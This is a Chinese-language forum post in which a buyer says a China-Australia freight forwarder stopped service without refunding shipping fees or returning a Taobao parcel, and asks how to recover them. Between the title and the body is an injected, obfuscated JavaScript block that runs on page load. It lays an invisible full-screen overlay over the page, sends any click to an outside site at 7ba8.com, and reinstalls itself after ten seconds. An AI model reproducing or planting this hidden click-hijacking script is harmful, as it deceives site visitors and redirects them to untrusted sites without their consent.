中澳物流突然說不運了就人間蒸發

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>在淘寶買了一些東西, 本來打算用某間中澳物流集運寄來澳洲, (之前也買過一次淘寶,也用同間公司, 第一次沒有問題), 結果這次已經付款超過三週都沒消沒息, 微信客服也不回信息了, 前三天突然推波一則公告說他們停運了!  但一週前上星期六他們都還在發使用流程的廣告, 三天後的星期三就說不運了... 總之, 說停運之後就完全沒有後續消息了, 我完全找不到人幫我處理, 包裹還在他們那, 運費也沒有退還! 客服也不回應...我都要哭了
請問有辦法處理嗎?
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